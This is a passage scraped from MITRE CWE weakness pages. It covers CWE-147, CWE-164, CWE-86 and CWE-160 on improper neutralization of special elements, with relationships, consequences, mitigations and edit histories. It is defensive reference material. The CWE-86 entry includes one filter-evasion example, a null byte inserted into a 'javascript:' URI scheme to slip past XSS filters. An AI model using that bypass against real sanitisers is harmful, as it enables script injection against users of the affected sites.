Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.138Improper Neutralization of Special Elements
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Potential Mitigations
Developers should anticipate that leading characters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInput Leader
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Name
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-01-30Input Leader
2008-04-11Failure to Remove Input Leader
2010-06-21Failure to Sanitize Input Leaders

CWE-147: Improper Neutralization of Input Terminators

Weakness ID: 147
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as input terminators when they are sent to a downstream component.
+ Extended Description
For example, a "." in SMTP signifies the end of mail message data, whereas a null character can be used for the end of a string.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.138Improper Neutralization of Special Elements
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.626Null Byte Interaction Error (Poison Null Byte)
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
MFV. mail server does not properly identify terminator string to signify end of message, causing corruption, possibly in conjunction with off-by-one error.
MFV. mail server does not properly identify terminator string to signify end of message, causing corruption, possibly in conjunction with off-by-one error.
Mail server does not quote end-of-input terminator if it appears in the middle of a message.
Improperly terminated comment or phrase allows commands.
+ Potential Mitigations
Developers should anticipate that terminators will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInput Terminator
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-03-10CWE Content TeamMITRE
updated Description, Name
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-04-05CWE Content TeamMITRE
updated Description, Name
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-01-30Input Terminator
2008-04-11Failure to Remove Input Terminator
2009-03-10Failure to Sanitize Input Terminators
2010-04-05Improper Sanitization of Input Terminators

CWE-164: Improper Neutralization of Internal Special Elements

Weakness ID: 164
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes internal special elements that could be interpreted in unexpected ways when they are sent to a downstream component.
+ Extended Description
As data is parsed, improperly handled internal special elements may cause the process to take unexpected actions that result in an attack.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.138Improper Neutralization of Special Elements
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.165Improper Neutralization of Multiple Internal Special Elements
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Potential Mitigations
Developers should anticipate that internal special elements will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInternal Special Element
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-05-27CWE Content TeamMITRE
updated Description, Name
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-04-05CWE Content TeamMITRE
updated Description, Name
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Internal Special Element
2009-05-27Failure to Sanitize Internal Special Element
2010-04-05Improper Sanitization of Internal Special Elements

CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages

Weakness ID: 86
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not neutralize or incorrectly neutralizes invalid characters or byte sequences in the middle of tag names, URI schemes, and other identifiers.
+ Extended Description
Some web browsers may remove these sequences, resulting in output that may have unintended control implications. For example, the product may attempt to remove a "javascript:" URI scheme, but a "java%00script:" URI may bypass this check and still be rendered as active javascript by some browsers, allowing XSS or other attacks.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.436Interpretation Conflict
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.79Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.184Incomplete List of Disallowed Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability

Technical Impact: Read Application Data; Execute Unauthorized Code or Commands

+ Observed Examples
ReferenceDescription
XSS filter doesn't filter null characters before looking for dangerous tags, which are ignored by web browsers. Multiple Interpretation Error (MIE) and validate-before-cleanse.
+ Potential Mitigations

Phase: Implementation

Strategy: Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

Strategy: Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness: Defense in Depth

+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInvalid Characters in Identifiers
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Name, Relationships, Other_Notes, Taxonomy_Mappings
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes
2010-04-05CWE Content TeamMITRE
updated Description, Name, Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-09-09Invalid Characters in Identifiers
2010-04-05Failure to Sanitize Invalid Characters in Identifiers in Web Pages

CWE-160: Improper Neutralization of Leading Special Elements

Weakness ID: 160
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes leading special elements that could be interpreted in unexpected ways when they are sent to a downstream component.
+ Extended Description
As data is parsed, improperly handled leading special elements may cause the process to take unexpected actions that result in an attack.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.138Improper Neutralization of Special Elements
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.37Path Traversal: '/absolute/pathname/here'
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.161Improper Neutralization of Multiple Leading Special Elements
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
Multiple FTP clients write arbitrary files via absolute paths in server responses
+ Potential Mitigations
Developers should anticipate that leading special elements will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

